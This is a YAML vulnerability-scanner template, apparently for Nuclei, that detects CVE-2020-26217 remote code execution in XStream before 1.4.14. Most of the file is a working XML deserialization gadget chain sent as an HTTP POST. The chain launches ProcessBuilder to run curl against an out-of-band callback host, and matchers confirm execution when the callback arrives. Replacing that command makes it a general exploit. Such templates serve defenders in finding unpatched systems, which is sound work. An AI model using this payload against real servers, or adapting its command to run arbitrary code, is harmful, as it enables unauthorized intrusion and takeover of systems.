102 lines
4.0 KiB
YAML
102 lines
4.0 KiB
YAML
id: CVE-2020-26217
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info:
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name: XStream <1.4.14 - Remote Code Execution
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author: pwnhxl,vicrack
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severity: high
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description: |
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XStream before 1.4.14 is susceptible to remote code execution. An attacker can run arbitrary shell commands by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Users who rely on blocklists are affected.
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remediation: Fixed in 1.4.14.
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reference:
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- https://x-stream.github.io/CVE-2020-26217.html
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- https://github.com/x-stream/xstream/commit/0fec095d534126931c99fd38e9c6d41f5c685c1a
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- https://github.com/x-stream/xstream/security/advisories/GHSA-mw36-7c6c-q4q2
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- https://nvd.nist.gov/vuln/detail/cve-2020-26217
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- https://lists.apache.org/thread.html/r2de526726e7f4db4a7cb91b7355070779f51a84fd985c6529c2f4e9e@%3Cissues.activemq.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-26217
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cwe-id: CWE-78
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epss-score: 0.97456
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epss-percentile: 0.9994
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cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: xstream_project
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product: xstream
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tags: cve,cve2020,xstream,deserialization,rce,oast
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http:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<map>
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<entry>
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<jdk.nashorn.internal.objects.NativeString>
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<flags>0</flags>
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<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
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<dataHandler>
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<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
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<contentType>text/plain</contentType>
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<is class='java.io.SequenceInputStream'>
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<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
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<iterator class='javax.imageio.spi.FilterIterator'>
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<iter class='java.util.ArrayList$Itr'>
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<cursor>0</cursor>
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<lastRet>-1</lastRet>
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<expectedModCount>1</expectedModCount>
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<outer-class>
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<java.lang.ProcessBuilder>
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<command>
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<string>curl</string>
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<string>http://{{interactsh-url}}</string>
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</command>
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</java.lang.ProcessBuilder>
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</outer-class>
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</iter>
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<filter class='javax.imageio.ImageIO$ContainsFilter'>
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<method>
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<class>java.lang.ProcessBuilder</class>
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<name>start</name>
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<parameter-types/>
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</method>
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<name>start</name>
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</filter>
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<next/>
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</iterator>
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<type>KEYS</type>
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</e>
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<in class='java.io.ByteArrayInputStream'>
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<buf></buf>
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<pos>0</pos>
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<mark>0</mark>
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<count>0</count>
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</in>
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</is>
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<consumed>false</consumed>
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</dataSource>
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<transferFlavors/>
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</dataHandler>
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<dataLen>0</dataLen>
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</value>
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</jdk.nashorn.internal.objects.NativeString>
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<string>test</string>
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</entry>
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</map>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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